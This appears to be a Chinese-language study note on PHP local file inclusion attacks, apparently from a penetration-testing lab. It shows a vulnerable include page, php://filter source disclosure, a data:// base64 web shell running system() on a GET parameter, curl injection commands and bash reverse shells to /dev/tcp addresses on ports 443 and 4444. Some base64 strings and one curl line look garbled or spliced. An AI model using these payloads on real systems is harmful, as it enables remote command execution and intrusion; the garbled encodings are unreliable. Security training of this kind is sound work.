

【php】php攻擊手法

php 漏洞網頁

index.php

```
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!--
使用page 參數可以注入頁面
-->
<?php $adminpage=$_GET['page']; if(isset($adminpage)) { include($adminpage); } ?>
```

編碼操作：

以下是一個簡單的例子，演示如何使用 `php://filter` 在包含文件的過程中應用 `base64_decode` 過濾器：

```
// php://filter/read=convert.base64-decode 可將某個文件編碼(base64)
// 編碼顯示後可以用工具解碼，還原原始網頁
include("php://filter/read=convert.base64-decode/resource=admin.php");

"AgZWNobyBzeXN0ZW0oJF9HR..."

# 還原base64編碼(shell)
echo "AgZWNobyBzeXN0ZW0oJF9HR..." | base64 -d > admin.php
cat admin.php

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Maintenance</title>
</head>
<body>
```

載入編碼：

```
# 將指令編碼
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
// PD9waHAgaWNoYm9zeXN0ZW0oJF9HRVRblmNtZCJdKTs/Pg==

# 注入指令(一次性)
# cmd: uname -a (%20:空白，指令可依需求替換)
# 在 PHP 中，`data://` 是一種偽協議，它允許你在代碼中直接使用數據，而不必引用外部文件。
# 通過 `data://` 協議，你可以在字符串中直接嵌入數據，而無需使用外部文件。
curl "http://mountaindesserts.com/meteor/index.php?
page=data://text/plain;base64,PD9waHAgaWNoYm9zeXN0ZW0oJF9HRVRblmNtZCJdKTs/Pg==&cmd=uname%20-a"

# 或是直接開reverse shell
bash -c "bash -i >& /dev/tcp/192.168.119.3/443 0>&1"
# 進行urlencode => https://gchq.github.io/
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F4444%200%3E%261%22%0A
# 注入webshell
curl "http://mountaindesserts.com/meteor/index.php?
page=data://text/plain;base64,PD9waHAgaWNoYm9zeXN0ZW0oJF9HRVRblmNtZCJdKTs/Pg==&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F443%200%3E%261%22%0A"
```

curl

"http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgaWNoYm9zeXN0ZW0oJF9HR'c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F443%200%3E%261%22%0A"

```
# 要使用 `php://filter`，你需要確保 PHP 的配置檔（通常是 `php.ini`）中開啟了以下選項：
allow_url_fopen = On
```

```
allow_url_include = On
```

要使用 `data://`，你需要確保 PHP 的配置檔（通常是 `php.ini`）中開啟了以下選項：

```
allow_url_fopen = On
```

🕒 修訂版本 #6

★ 由 treeman 建立於 8 🕒@🕒🕒 2024 02:20:17

✍ 由 treeman 更新於 8 🕒@🕒🕒 2024 03:12:53